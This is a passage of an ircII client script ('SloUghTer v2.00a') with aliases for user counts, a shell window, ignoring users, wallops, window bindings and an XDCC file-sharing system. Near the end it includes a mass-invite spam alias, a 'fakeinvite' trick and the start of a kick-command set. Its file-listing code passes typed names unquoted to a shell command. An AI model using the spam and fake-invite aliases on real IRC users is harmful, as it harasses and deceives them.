   pecho Total users: $cnscnt  | Ops: $opedpl | Unopped: $unoppl 
   pecho Users here: $herepl  | Users Set Away: $awaypl 
  if ([$ircopz]!=[]) {/pecho IRC Ops: $ircopl \($ircopz\)}
  {/pecho IRC Ops: $ircopl }
}

alias shell {
    ^window new name UnixShell
    ^window scroll on
    ^set hold_mode off
    ^window level none
    ^exec -window -name UnixShell $shell_pgm
    ^query %UnixShell
    ^on ^exec_exit UnixShell {
	^window show $shell_pgm kill
	 pecho Unix Shell window has been closed.
	^on exec_exit - UnixShell
    }
}

### Ignoring/Unignoring Functions (by Vassago)

alias ig {
    if ([$0]) {
       if (!rmatch($0 *!* *@* *.*)) {
	   Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {
	       ^assign to_ignore $hignore($safe($3) $4)
	       EVAL //^ignore $to_ignore $ignore_types
	       pecho Now ignoring $to_ignore\.
	   }
	   {/pecho I can't find $0 on IRC.}
       }
       {
	    EVAL //^ignore $0 $ignore_types
	   pecho Now ignoring $0\.
       }
    }
    {/pecho Usage: /IG <nickname of person to ignore by user@hostmask>.}
}

alias noig {
   if ([$0]) {
       Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {
	   //^ignore *@$4 NONE
	   EVAL //^ignore $hignore($safe($3) $4) NONE
	   pecho $0 has been unignored.
       }
       {/pecho I can't find $0 on IRC.}
   }
   {/pecho Usage: /NOIG <nickname of person to unignore>.}
}

### CHANNEL WALLOPS (by Eagle-1, Mods from Vassago)

alias wall {
    if ([$C]==0) {/pecho You must be on a channel to use /WALL.}
    {
	 ^on ^401 "*" #
	  pecho Sending WallOp message to $C, please wait...
	 ^assign message $encode($0-)
	  pecho [WallOp/$C] $decode($message)
	 ^on ^names "*" sendwall $$1-
	 ^names $C
	  wait -CMD _undowall
    }
}

alias sendwall {
   if ([$0]) {
	 if (([$[1]0] == [@]) && ([$0] != [@] ## N)) {
	  if ([$sendlist]==[]) {
		^assign sendlist $strip(@ $0)
		^assign showlist $strip(@ $0)
		 sendwall $1-
	  }
	  {
		^assign sendlist $strip(@ $0),$sendlist
		^assign showlist $strip(@ $0) $showlist
		 sendwall $1-
	  }
	 }
	 {/sendwall $1-}
   }
   {
       if ([$sendlist]!=[]) {
	   //^notice $sendlist [WallOp/$C] $decode($message)
	    pecho WALLOPED: $showlist
	   ^assign -sendlist
	   ^assign -showlist
       }
   }
}

alias _undowall {
   ^on names - "*"
   ^timer 15 ^on 401 - "*"
}

### NET Alias for Window Control (by Vassago)

alias net {
  if ([$0]) {
	/pecho Hit CONTROL-W then ? for help on windowing commands.
	/pecho Creating a window on server $0, please wait...
	^window new
	if ([$1]) {/EVAL window server $0:$1::_$N}
	{/EVAL window server $0:6667::_$N}
  }
  {
       pecho Usage: /net <server> [<port>]
       pecho  /NET creates a new window and connects it to <server>.
       pecho   CONTROL-W + <Letter> is used for most window commands:
       pecho   ^W? - Shows you this help screen.
       pecho   ^WK - kills the current window.
       pecho   ^WH - hides the current window.
       pecho   ^WS - shows and balances all windows.
       pecho   ^WC - clears the current window.
       pecho   ^WL - lists all windows.
       pecho   ^WP - Goes to the previous window.
       pecho   ^WN - Goes to the next window. 
       pecho   ^W<1-9> - Changes to window number <1-9>.
       pecho   /wr <n> to reduce a window <n> number of lines.
       pecho   /wg <n> to grow a window <n> number of lines.
  }
}

bind ^W meta2_character 
bind ^W? parse_command net
bind ^Wh parse_command window hide
bind ^Wn parse_command window next
bind ^Wp parse_command window previous
bind ^Wk parse_command window kill
bind ^Wl parse_command window list
bind ^Wc parse_command clear -a
bind ^Ws parse_command win_show
bind ^W1 parse_command window goto 1
bind ^W2 parse_command window goto 2
bind ^W3 parse_command window goto 3
bind ^W4 parse_command window goto 4
bind ^W5 parse_command window goto 5
bind ^W6 parse_command window goto 6
bind ^W7 parse_command window goto 7
bind ^W8 parse_command window goto 8
bind ^W9 parse_command window goto 9

alias wr window shrink
alias wg window grow
alias win_show {
   ^window show 2
   ^window show 1
   ^window balance
}

### XDCC File Transfer Script (By XaBi, Mods from YaZoO, Vassago, and Spooge)

on -window "% ??? DCC SEND:* lost" if ([$1]==[***]) {/subdccs}
on -window "% ??? DCC SEND:* %sec" if ([$1]==[***]) {/subdccs}

alias subdccs {
  if (dccsent > 0) {@ dccsent = dccsent - 1}
   if ([$gonnacount]==[]) {
      ^assign gonnacount ON
      ^timer 55 updatecount
   }
}

alias updatecount {
   if ([$counting]!=[ON]) {
	 ^assign counting ON
	 @ dccsent = 0
	 ^on ^window "*" {/if ([$1]==[SEND]) {@ dccsent = dccsent + 1}}
	//dcc list
	^on window - "*"
	^assign -counting
	^assign -gonnacount
   }
   {^timer 30 updatecount}
}

alias iswaiting {
   ^assign counting ON
   ^assign dccfilename none
   ^assign liststarted no
   ^assign listdone no
   ^assign chnick $0
   ^assign chfile $1
   ^assign dccwaiting no
   ^on ^window "*" {
      if (([$listdone]==[no])&&([$liststarted]==[yes])) {
	 if (([$1]==[SEND])&&([$3]==[Waiting])&&(match(*$chfile $6)!=0)&&([$2]==[$chnick])) {
	     ^assign dccwaiting yes
	     ^assign dccfilename $6
	 }
      }
      {
	 if (([$listdone]==[no])&&([$1]==[Type])&&([$2]==[nick])&&([$3]==[status])) {^assign liststarted yes}
      }
   }
   //dcc list
   ^on window - "*"
   if ([$liststarted]==[no]) {^assign dccwaiting dunno}
   ^assign -listdone
   ^assign -liststarted
   ^assign -chnick
   ^assign -chfile
   ^assign -counting 
}

alias checksend {
    iswaiting $0 $1
    if ([$dccwaiting]==[dunno]) {^timer 1 checksend $0 $1}
    {
	if ([$dccwaiting]==[yes]) {
	    ^timer 60 closesend $0 $1
	    if ([$lastnotdcc]!=[$0]) {
		 nnotice $0 You have DCCs pending. Type /DCC GET $N\.
		^assign lastnotdcc $0
		^timer -delete 224
		^timer -refnum 224 15 ^assign -lastnotdcc
	    }
	}
    }
    ^assign -dccwaiting
    ^assign -dccfilename
}

alias closesend {
    iswaiting $0 $1
    if ([$dccwaiting]==[dunno]) {^timer 1 closesend $0 $1}
    {
	if ([$dccwaiting]==[yes]) {
	    //^dcc close send $0 $dccfilename
	    ^subdccs
	    if ([$lastnotdcc]!=[$0]) {
		 XDCCecho One or more DCC SENDs to $0 have timed out.
		^assign lastnotdcc $0
		^timer -delete 224
		^timer -refnum 224 30 ^assign -lastnotdcc
	    }
	}
    }
   ^assign -dccfilename
}

alias xdccmsg {
     if ([$right(10 $1)]!=[$LASTXDCCMSG]) {
	 if (match($2 HELP LIST SEND)) {/$2COMMAND $0 $1 $3-}
	 {/nnotice $0 Try /MSG $N XDCC HELP.}
	 ^assign LASTXDCCMSG $right(10 $1)
	 ^timer -delete 334
	 ^timer -refnum 334 5 ^assign -LASTXDCCMSG
     }
}

alias HELPcommand {
   if ([$right(10 $1)]!=[$LASTHELPED]) {
	 nnotice $0 /MSG $N XDCC LIST - to get the list of offered packs.
	 nnotice $0 /MSG $N XDCC LIST #<N> - to get more info on pack #<N>.
	 nnotice $0 /MSG $N XDCC SEND #<N> - to send pack #<N>.
	^assign LASTHELPED $right(10 $1)
	^timer -delete 330
	^timer -refnum 330 45 ^assign -LASTHELPED
   }
}

alias LISTcommand {
    if ([$right(10 $1)]!=[$lastlister]) {
       if (([$SECURITY]==[OFF])||([$sec_check($0!$1)] == [YES])) {
	  if ([$2]) {
	      if ([$[1]2] == [#]) {
		 @ TEMP = [$2]
		 @ NUM  = right(${@TEMP-index(# $2)+1} $2)
		 if (NUM <= TOTPACK) {
		    xdccecho List of pack #$NUM request received from $0\.
		    @ TEMPFILE = []
		    @ TEMPTOT  = 0
		    @ COUNT0   = 1
		    nnotice $0 Pack: $ARRAYDESC[$NUM]
		    nnotice $0 Length     File
		    while (COUNT0 <= ARRAYTOTF[$NUM]) {
		       nnotice $0 $[10]ARRAYLENG[$NUM][$COUNT0] $X_FILE($ARRAYFILE[$NUM][$COUNT0])
		       @ TEMPTOT  = TEMPTOT + ARRAYLENG[$NUM][$COUNT0]
		       @ COUNT0   = COUNT0 + 1
		    }
		    nnotice $0 ---------- --------------------------------
		    nnotice $0 $[10]TEMPTOT $ARRAYTOTF[$NUM] file\(s\)
		 }
		 {/nnotice $0 Pack $2 doesn't exist. Try /MSG $N XDCC LIST}
	      }
	      {/nnotice $0 XDCC LIST $2 is invalid. /MSG $N XDCC HELP.}
	  }
	  {
	      if (TOTPACK > 0) {
		 xdccecho All pack list request received from $0\.
		 @ COUNT0 = 1
		 nnotice $0 Pack Description
		 while (COUNT0 <= TOTPACK) {
		    nnotice $0 #$[3]COUNT0 $ARRAYDESC[$COUNT0]
		    @ COUNT0 = COUNT0 + 1
		 }
	      }
	      {/nnotice $0 No files offered.}
	  }
	  ^assign lastlister $right(10 $1)
	  ^timer -delete 329
	  ^timer -refnum 329 15 ^assign -lastlister
       }
       {
	  nnotice $0 No files offered.
	  pecho Unregistered user XDCC LIST request from $0.
       }
    }
}

alias SENDcommand {
   if ([$AUTOSEND] == [ON] || [$MYSEND] == [YES]) {
     if (([$SECURITY]==[OFF])||([$sec_check($0!$1)] == [YES])) {
      if ([$2]) {
	 if ([$[1]2] == [#]) {
	    @ TEMP = [$2]
	    @ NUM  = right(${@TEMP-index(# $2)+1} $2)
	    if (NUM <= TOTPACK) { 
	       @ dcctmp = dcclimit - dccsent
	       if (ARRAYTOTF[$NUM]>dcctmp) {
		   xdccecho Sending $2 to $0 would exceed my limit of $dcclimit - $dccsent active.
		   nnotice $0 I already have $dccsent DCCs active. Try later, please.
	       }
	       {
		  xdccecho Sending $2 to $0\.
		  nnotice $0 Sending you $ARRAYDESC[$NUM]\.
		  xdcclog Sent $ARRAYDESC[$NUM] to $0\.
		  @ COUNT1 = 1
		  @ TEMPTOT = 0
		  while (COUNT1 <= ARRAYTOTF[$NUM]) {
		     ^dcc send $0 $ARRAYFILE[$NUM][$COUNT1]
		     @ TEMPTOT = TEMPTOT + ARRAYLENG[$NUM][$COUNT1]
		     @ COUNT1 = COUNT1 + 1
		  }
		 nnotice $0 Total files sent: $ARRAYTOTF[$NUM]\. You'll need $TEMPTOT bytes.
	       }
	    }
	    {/nnotice $0 File $2 does not exist. /MSG $N XDCC LIST.}
	 }
	 {/nnotice $0 XDCC SEND $2 is invalid. /MSG $N XDCC HELP.}
      }
      {/nnotice $0 There is no such file.}
     }
     {
	nnotice $0 There is no such file.
	pecho Unregistered user XDCC SEND request from $0.
     }
   }
   {/nnotice $0 That function has been disabled.}
}

alias xdcc {
    if (match($0 LOAD PSEND CLOSE SAVE GET DIR AUTOCLOSE HELP LIST PLIST SEND STATUS NOTICE OFFER DOFFER LIMIT AUTOGET AUTOSEND NOISE GLIST OVERWRITE ULDIR DLDIR AUTORENAME AWAYCLOSE SEC))
    {$0MCOMMAND $1-}
    {/HELPMCOMMAND}
}

alias HELPMCOMMAND {/pecho Try /XDCC HELP. \(You must have PHOENIX.HLP loaded first\).}

alias LIMITmcommand {
    if ([$0]) {^assign TMPLIMIT $0}
    {^assign TMPLIMIT $word(0 $"[E/X] Enter new limit for DCC SENDS: ")}
    if ([$TMPLIMIT]!=[]) {
	^assign dcclimit $TMPLIMIT
	^assign -TMPLIMIT
    }
    /pecho XDCC Limit: $dcclimit\
}

alias PSENDmcommand {
	 if (TOTPACK > 0)
	 { @ TMPVAR = []
	   @ NICKLIST = []
	   ^assign TMPVAR $"[E/X] Pack to send: "
	   if ([$TMPVAR]!=[])
		 { if (TMPVAR <= TOTPACK)
		   { ^assign NICKLIST $"[E/X] Nicks: "
			if ([$NICKLIST])
			{ @ COUNT2 = 0
			  @ MYSEND = [YES]
			  while (word($COUNT2 $NICKLIST))
				{ SENDcommand $word($COUNT2 $NICKLIST) #$TMPVAR
				  @ COUNT2 = COUNT2 + 1 }
			  @ MYSEND = [NO] }
			{} }
		   { /pecho Pack #$TMPVAR doesn't exist. Try /XDCC LIST. } }
		 {} }
	 { /pecho There are no packs created.}
}

alias LISTmcommand {
   if ([$0]) {
       if ([$[1]0] == [#]) {
	  @ TEMP = [$0]
	  @ NUM  = right(${@TEMP-index(# $0)+1} $0)
	  if (NUM <= TOTPACK) {
	     @ COUNT2 = 1
	     @ TEMPTOT = 0
	     pecho PACK: $ARRAYDESC[$NUM]
	     while (COUNT2 <= ARRAYTOTf[$NUM]) {
		pecho FILE: $ARRAYFILE[$NUM][$COUNT2]
		@ TEMPTOT = TEMPTOT + ARRAYLENG[$NUM][$COUNT2]
		@ COUNT2 = COUNT2 + 1
	     }
	     pecho TOTAL : $TEMPTOT Bytes on $ARRAYTOTF[$NUM] file\(s\) }
	     {/pecho $0 pack doesn't exist.}
	  }
	  {/pecho /XDCC LIST $0 is not a valid format. Try /XDCC HELP LIST.}
       }
       {
       if (TOTPACK > 0) {
	  @ COUNT2 = 1
	  pecho Pack Description
	  while (COUNT2 <= TOTPACK) {
	     pecho #$[2]COUNT2  $ARRAYDESC[$COUNT2]
	     @ COUNT2 = COUNT2 + 1
	  }
       }
       {/pecho There are no files offered.}
   }
}

alias NOTICEmcommand {/say ** To get a list of files I'm offering /MSG $N XDCC LIST.}

alias PLISTmcommand {
	 if (TOTPACK > 0)
	 { /say ** PACKS OFFERED. /MSG $N XDCC SEND #N for autosend pack #N
	   @ COUNT3 = 1
	   while (COUNT3 <= TOTPACK)
		  { /say #$COUNT3  $ARRAYDESC[$COUNT3]
		   @ COUNT3 = COUNT3 + 1 } }
	 { /pecho There are no files offered. }
}

alias SENDmcommand {
    @ TMPVAR = []
    ^assign TMPVAR $"[E/X] Files to send: "
     if ([$TMPVAR]!=[]) {
	if ([$getdir()] == [OK]) {
	   ^assign NICKLIST $"[E/X] Nicks: "
	   if ([$NICKLIST]) {
	      dosend
	      xdccecho Send finished.
	   }
	}
	{/pecho Please check the files.}
     }
}

alias getdir {
	 @ FILECOUNT = 0
	 ^on -exec_error "DIR1 *" {/pecho Error: $1-}
	 ^on ^exec "DIR1 *" addfile $$1-
	 @ COUNT4 = 0
	 while (word($COUNT4 $TMPVAR))
	    { @ TMPFILE = word($COUNT4 $TMPVAR)
		 if ([$[1]TMPFILE] == [/]) {}
		 { @ TMPFILE = [$UPLOADDIR/$TMPFILE] }
		 ^exec -name DIR1 ls -ld $TMPFILE
		 ^wait %DIR1
		 @ COUNT4 = COUNT4 + 1 }
	 if ( FILECOUNT == 0 )
	 { @ function_return = [ERROR] }
	 { @ function_return = [OK] }
}

alias addfile {
	 if ([$[1]0] == [-])
	 { @ FILECOUNT = FILECOUNT + 1
	   if ([$8])
		 { @ FILELIST[$FILECOUNT] = [$8]
		@ FILELENG[$FILECOUNT] = [$4] }
		 { @ FILELIST[$FILECOUNT] = [$7]
		@ FILELENG[$FILECOUNT] = [$3] } }
}

alias dosend {
	 @ COUNT5 = 0
	 while (word($COUNT5 $NICKLIST))
	    { @ COUNT6  = 1
		 @ SENDTOT = 0
		 while (COUNT6 <= FILECOUNT)
		    { ^dcc send $word($COUNT5 $NICKLIST) $FILELIST[$COUNT6]
		@ SENDTOT = SENDTOT + FILELENG[$COUNT6]
			 @ COUNT6  = COUNT6 + 1 
		}
		 /nnotice $word($COUNT5 $NICKLIST) $SENDTOT Bytes in $FILECOUNT file\(s\).
		 @ COUNT5 = COUNT5 + 1 }
}

alias STATUSmcommand {
   pecho +--------+ Current XDCC Configuration +--------+
   pecho  Autoget Offered DCCs       $AUTOGET 
   pecho  Autosend from List         $AUTOSEND 
   pecho  Autoclose DCC SENDS        $AUTOCLOSE 
   pecho  Autoclose when AWAY        $AUTOCLOSEWHENAWAY 
   pecho  XDCC Noise                 $NOISE 
   pecho  Overwrite existing files   $OVERWRITE 
   pecho  AutoRename existing files  $AUTORENAME 
   pecho  Files Offered              $TOTPACK 
   pecho  Get Count                  $GETCOUNT 
   pecho  Upload Directory           $UPLOADDIR 
   pecho  Download directory         $DOWNLOADDIR 
   pecho +----------------------------------------------+
}

alias OFFERmcommand {
	 @ TMPVAR  = []
	 @ TMPDESC = []
	 ^assign TMPVAR $"[E/X] Files: "
	 if ([$TMPVAR])
	 { if ([$getdir()] == [OK])
		 { ^assign TMPDESC $"[E/X] Description: "
		if ([$TMPDESC])
		   { @ TOTPACK = TOTPACK + 1
			@ COUNT = 1
			@ SENDTOTAL = 0
			while (COUNT <= FILECOUNT)
			   { @ ARRAYFILE[$TOTPACK][$COUNT] = [$FILELIST[$COUNT]]
				@ ARRAYLENG[$TOTPACK][$COUNT] = [$FILELENG[$COUNT]]
				@ SENDTOTAL                   = SENDTOTAL + FILELENG[$COUNT]
				@ ARRAYTOTF[$TOTPACK]         = [$FILECOUNT]
				@ COUNT                       = COUNT + 1 }
				@ SENDTOTAL = SENDTOTAL / 1024
				if (FILECOUNT==1) {@ ARRAYDESC[$TOTPACK] = [$TMPDESC \[$SENDTOTAL\kb, $FILECOUNT file\]]}
				{@ ARRAYDESC[$TOTPACK] = [$TMPDESC \[$SENDTOTAL\kb, $FILECOUNT files\]]}
			   xdccecho $FILECOUNT files added to Pack #$TOTPACK\.
			
			chgst }
		   {} }
		 {/pecho Error: one or more of this files don't exist. } }
}

alias DOFFERmcommand {
	 if (TOTPACK > 0)
	 { @ TMPNUM = []
	   ^assign TMPNUM $"[E/X] Pack to remove (* for all): "
	   if ([$TMPNUM])
		 { if ([$TMPNUM] == [*])
		   { @ TOTPACK = 0
			chgst
			pecho All packs removed from offer list. }
		   { if ((TMPNUM <= TOTPACK) && (TMPNUM > 0))
			{ @ COUNT7 = TMPNUM
			  while (COUNT7 < TOTPACK)
				{ @ COUNT8 = ARRAYTOTF[${COUNT7+1}]
				  while (COUNT8 > 0)
					{ @ ARRAYFILE[$COUNT7][$COUNT8] = [$ARRAYFILE[${COUNT7+1}][$COUNT8]]
					  @ ARRAYLENG[$COUNT7][$COUNT8] = [$ARRAYLENG[${COUNT7+1}][$COUNT8]]
					  @ COUNT8 = COUNT8 - 1 }
				  @ ARRAYDESC[$COUNT7] = [$ARRAYDESC[${COUNT7+1}]]
				  @ ARRAYTOTF[$COUNT7] = [$ARRAYTOTF[${COUNT7+1}]]
				  @ COUNT7             = COUNT7 + 1 }
			  @ TOTPACK = TOTPACK - 1
			  pecho Pack #$TMPNUM removed from offer list.
			  chgst }
			{ pecho Try a number between 1 and $TOTPACK\. } } }
		{} }
	 { pecho There are no files offered. }
}

alias AUTOGETmcommand {
   if (match($0 ON OFF)) {/up_it AUTOGET $0}
   pecho Autogetting of offered files is $AUTOGET\.
   chgst
}

alias SECmcommand {
   if (match($0 ON OFF)) {/up_it SECURITY $0}
   pecho XDCC Security is $SECURITY\.
   chgst
}

alias AUTOSENDmcommand {
   if (match($0 ON OFF)) {/up_it AUTOSEND $0}
   pecho Autosending from offer list is $AUTOSEND\.
   chgst
}

alias AUTOCLOSEmcommand {
    if (match($0 ON OFF)) {/up_it AUTOCLOSE $0}
    pecho Autoclose offered files \(refuse send\) is $AUTOCLOSE\.
    chgst
}

alias AWAYCLOSEmcommand {
    if (match($0 ON OFF)) {/up_it AUTOCLOSEWHENAWAY $0}
    pecho Autoclose offered files \(refuse send\) when away is $AUTOCLOSEWHENAWAY\.
    chgst
}

alias AUTORENAMEmcommand {
   if (match($0 ON OFF)) {/up_it AUTORENAME $0}
   pecho AutoRenaming of existing offered files is $AUTORENAME\.
   chgst
}

alias NOISEmcommand {
    if (match($0 ON OFF)) {/up_it NOISE $0}
    pecho XDCC Noise is $NOISE\.
    chgst
}

alias OVERWRITEmcommand {
    if (match($0 ON OFF)) {/up_it OVERWRITE $0}
    pecho Overwrite existing files \(no prompting\) is $OVERWRITE\.
}

alias ULDIRmcommand {
   if ([$0]) {^assign newdir $0}
   {^assign newdir $"[E/X] New upload directory: " }
   if ([$newdir]!=[]) {
      ^assign olddir $W
      ^cd $newdir
      ^assign uploaddir $W
      ^cd $olddir
      ^assign -olddir
   }
   ^assign -newdir
   pecho Upload directory: $uploaddir\.
}

alias DLDIRmcommand {
if ([$0]) {^assign newdir $0}
{^assign newdir $"[E/X] New download directory: " }
   if ([$newdir]!=[]) {
      ^assign olddir $W
      ^cd $newdir
      ^assign downloaddir $W
      ^cd $olddir
      ^assign -olddir
    }
   ^assign -newdir
   pecho Download directory: $downloaddir\.
}

alias xdccecho if ([$NOISE] == [ON]) {/pecho $0-}

alias x_file {
	 ^assign TMP $0
	 if (rindex(/ $TMP))
	 { @ function_return = right(${@TMP-rindex(/ $0)+1} $0) }
	 { @ function_return = [$0] }
}

alias adddccrequest {
	 @ GETCOUNT = GETCOUNT + 1
	 @ ARRAYFILEGET[$GETCOUNT] = [$0]
	 @ ARRAYNICKGET[$GETCOUNT] = [$1]
	 chgst
}

alias CLOSEmcommand {
	 if (GETCOUNT > 0)
	 { @ TMPNICK = []
	   ^assign TMPNICK $"[E/X] Nick to remove get files (* for all): "
	   if ([$TMPNICK])
		 { if ([$TMPNICK] == [*])
		   { @ GETCOUNT = 0
			foreach ARRAYFILEGET XX
				{ //^dcc close get $ARRAYNICKGET[$XX] }
			chgst
			pecho All files removed from get list. }
		   { @ COUNT8 = 1
			@ COUNT9 = 1
			@ COUNT10 = GETCOUNT
			while (COUNT9 <= COUNT10)
			   { if ([$ARRAYNICKGET[$COUNT9]] != [$TMPNICK])
				{ @ ARRAYFILEGET[$COUNT8] = [$ARRAYFILEGET[$COUNT9]]
				  @ ARRAYNICKGET[$COUNT8] = [$ARRAYNICKGET[$COUNT9]]
				  @ COUNT8 = COUNT8 + 1 }
				{ //^dcc close get $TMPNICK
				  @ GETCOUNT = GETCOUNT - 1 }
				  @ COUNT9 = COUNT9 + 1 }
			chgst } }
		 {} }
	 { pecho There are no pending files. }
}

alias DIRmcommand {
	 @ TMPVAR = []
	 ^assign TMPVAR $"[E/X] Dir: "
	 if ([$getdir()] == [OK])
	 { @ COUNT8 = 1
	   pecho Length     File
	   while (COUNT8 <= FILECOUNT)
		 { pecho $[10]FILELENG[$COUNT8] $FILELIST[$COUNT8]
		   @ COUNT8 = COUNT8 + 1 } }
}

alias GETmcommand {
	 if (GETCOUNT > 0)
	 { @ TMPNICK = []
	   ^assign TMPNICK $"[E/X] Nick to get files (* for all): "
	   if ([$TMPNICK])
		 { if ([$TMPNICK] == [*])
		   { @ GETCOUNT = 0
			foreach ARRAYFILEGET XX {//^dcc get $ARRAYNICKGET[$XX] $ARRAYFILEGET[$XX]}
			chgst
			pecho All files taken from get list. }
		   { @ COUNT8 = 1
			@ COUNT9 = 1
			@ COUNT10 = GETCOUNT
			pecho Getting all files offered from $TMPNICK\.
			while (COUNT9 <= COUNT10)
			   { if ([$ARRAYNICKGET[$COUNT9]] != [$TMPNICK])
				{ @ ARRAYFILEGET[$COUNT8] = [$ARRAYFILEGET[$COUNT9]]
				  @ ARRAYNICKGET[$COUNT8] = [$ARRAYNICKGET[$COUNT9]]
				  @ COUNT8 = COUNT8 + 1 }
				{ //^dcc get $TMPNICK $ARRAYFILEGET[$COUNT9]
			  @ GETCOUNT = GETCOUNT - 1 }
				@ COUNT9 = COUNT9 + 1 }
			chgst } }
		 {} }
	 { pecho There are no files offered. }
}

alias GLISTmcommand {
	 if (GETCOUNT > 0)
	 { @ TMPNICK = []
	   ^assign TMPNICK $"[E/X] Nick to list pending files (* for all): "
	   if ([$TMPNICK])
		 { @ COUNT11 = 1
		pecho Nick      File
		while (COUNT11 <= GETCOUNT)
			 { if (match($TMPNICK $ARRAYNICKGET[$COUNT11]))
			   { pecho $[9]ARRAYNICKGET[$COUNT11] $ARRAYFILEGET[$COUNT11] }
			   {}
			@ COUNT11 = COUNT11 + 1 } }
		 {} }
	 { pecho There are no pending files. }
}

alias LOADmcommand {
	 if ([$0])
	 { eval /pecho Loading XDCC Offer file....
	   @ OLDNUM     = TOTPACK
	   @ LOAD_ERROR = [NO]
	   @ LINECOUNT  = 0
	   @ COUNT12    = [desc comment]
	   ^on exec_error "load_files *" {
		  pecho Error: $1-
		  @ LOAD_ERROR = [YES] }
	   ^on ^exec "load_files *" add_line $$1-
	   ^exec -name load_files cat $0
	   ^wait %load_files
	   if ([$LOAD_ERROR] == [NO])
		 { eval /pecho Checking file...
		@ COUNT = 1
		while (COUNT <= LINECOUNT)
			 { add_file $XDCCFILELINE[$COUNT]
			@ COUNT = COUNT + 1 }
		if (ARRAYTOTF[$TOTPACK] == 0)
		   { @ TOTPACK = TOTPACK - 1 }
		   {}
		chgst }
		 {}
	   if ([$LOAD_ERROR] == [NO])
		 { eval /pecho Offer file loaded correctly.}
		 { @ TOTPACK = OLDNUM } }
	 {
			  if ([$OFFERFILE]!=[]) {
				  /pecho Default: loading $OFFERFILE\...
				  /loadmcommand $OFFERFILE
			  }
			  {/pecho No such file. Try /XDCC HELP LOAD.}
	 }
}

alias SAVEmcommand {
	 if ([$0])
	 { /pecho Saving file...
	   @ TEMP1      = [$1-]
	   @ SAVE_ERROR = [NO]
	   @ TEMP2 = []
	   @ COUNT = 0
	   @ LINECOUNT = 0
	   if ([$1])
		 { while (word($COUNT $TEMP1))
			 { if ([$[1]word($COUNT $TEMP1)] != [#])
			   { /pecho Error: $word($COUNT $TEMP1) is not a valid pack format.
				@ SAVE_ERROR = [YES] }
			   { @ TEMP = word($COUNT $TEMP1)
				@ NUM  = right(${@TEMP-1} $TEMP)
				if (NUM > TOTPACK)
				{ /pecho Error: #$NUM does't exist.
				  @ SAVE_ERROR = [YES] }
				{ @ TEMP2 = [$TEMP2] ## [ $NUM] } }
			@ COUNT = COUNT + 1 } }
		 { while (COUNT < TOTPACK)
			 { @ COUNT = COUNT + 1
			@ TEMP2 = [$TEMP2] ## [ $COUNT] } }
	   if ([$SAVE_ERROR] != [YES])
		 { @ COUNT = 0
		@ SAVE_ERROR = [NO]
		while (word($COUNT $TEMP2))
			 { add_line Comment Pack $COUNT
			add_line desc $ARRAYDESC[$word($COUNT $TEMP2)]
			@ COUNT1 = 0
			while (COUNT1 < ARRAYTOTF[$word($COUNT $TEMP2)])
				 { @ COUNT1 = COUNT1 + 1
				add_line files $ARRAYFILE[$word($COUNT $TEMP2)][$COUNT1] }
			@ COUNT = COUNT + 1 }
		^on exec_error "save_xdcc_file *" {
		    pecho Error: $1-
		    @ SAVE_ERROR = [YES] }
		@ COUNT = 0
		while (COUNT < LINECOUNT)
			 { @ COUNT = COUNT + 1
			^exec -name s_xdcc_f echo $XDCCFILELINE[$COUNT] >> $0
			wait %s_xdcc_f }
		if ([$SAVE_ERROR] = [NO])
		   { /pecho File saved correctly.}
		   {} }
		 {} }
	 { /pecho What filename? Try /XDCC HELP SAVE. }
}

alias add_line {
	 @ LINECOUNT                = LINECOUNT + 1
	 @ XDCCFILELINE[$LINECOUNT] = [$0-]
}

alias add_file {
	 if (match($0 $COUNT12))
	 { if ([$0] == [desc])
		 { @ OLDNUM = TOTPACK
		if ((TOTPACK >= 0) && (ARRAYTOTF[$TOTPACK] == 0)) {}
		{ @ TOTPACK = TOTPACK + 1 }
		@ ARRAYDESC[$TOTPACK] = [$1-]
		@ ARRAYTOTF[$TOTPACK] = 0
		@ COUNT12             = [files comment] }
		 { if ([$0] == [files])
		   { @ COUNT12 = [desc files comment]
			@ TMPVAR = [$1-]
			if ([$getdir()] == [OK])
			{ @ COUNT13 = 1
			  while (COUNT13 <= FILECOUNT)
				{ @ ARRAYTOTF[$TOTPACK] = ARRAYTOTF[$TOTPACK] + 1
				  @ ARRAYFILE[$TOTPACK][$ARRAYTOTF[$TOTPACK]] = [$FILELIST[$COUNT13]]
				  @ ARRAYLENG[$TOTPACK][$ARRAYTOTF[$TOTPACK]] = [$FILELENG[$COUNT13]]
				  @ COUNT13 = COUNT13 + 1 } }
			{} }
		   {} }
		 {} }
	 { @ LOAD_ERROR = [YES]
	   pecho Error loading offer file on line:
	   pecho [$COUNT] $0-
	   pecho First word on line isn't [$COUNT12]\.
	   @ COUNT = LINECOUNT }
}

### configure load stuff ###

### Ending/Loading Stuff

EVAL pecho Loading [G0dZiLLA] SloUghTer v2.00a by ChOtAiRe/Elim
EVAL load $asve
EVAL load $SloUghTerDir/notify.ex
EVAL if ([$TOOPVIEW]==[ON]) {/EVAL OV}
EVAL makefriends
EVAL chgst
EVAL do301
EVAL do317
EVAL your_host
EVAL $srand($time())
EVAL quote PING $time() $S
EVAL quote MODE $N $usermode
EVAL ^timer 30 ^assign -SCRIPTLOADING

### test123 ###

alias loaded {
       /n $writer I just Loaded SloUghTer Version $sver!!..
}



# this is the mass invite #

alias massinv {
  if ([$0]) {
    ^on ^who * {
       if (([$1] != [$N])&&([$0] != [$C])) {
	 /EVAL ^timer $rand(30) //invite $1 $C}
	 }
   pecho Inviting Users Found with Command '/who $0-' To Channel $C..
   //who $0-
   wait
   ^on who - *
   }
   {pecho /massinv <mask>  -Where <mask> is exactly as if it were a /who..}
}

# This is the Fake Invite #

alias fakeinvite {
  if ([$1]) {
    ^assign INVITESTR $strip(# $1)
    ^assign INVITESTR \#${INVITESTR}
    quote INVITE $0 $INVITESTR
    pecho Fake Invited $0 To Channel $1..
    }
    {pecho /fakeinvite <nick> <channel>}
}



# ------------------------------------------------------------------------
# Mortal Kombat Kicks v4.0
# By Eliminator For Sloughter VErsion 1.0
# ------------------------------------------------------------------------
@ cmt = [DeMeNTeD By MKI & MKII SPeCiaL KiCKS]
alias MK1 {
  /pecho Mortal Kombat 1 Kicks:
  pecho **  raiden         subzero        scorpion       cage
  pecho **  kano           sonya          liukang        thepit
  pecho /[Name of kick] [nick], i.e. "/CAGE Vassago", will MK Vass
}
alias MK2 {
  /pecho Mortal Kombat 2 Kicks:
  pecho **  raiden1        raiden2        scorpion1      scorpion2
  pecho **  subzero1       subzero2       reptile1       reptile2
  pecho **  cage1          cage2          liukang1       liukang2
  pecho **  mileena1       mileena2       kitana1        kitana2
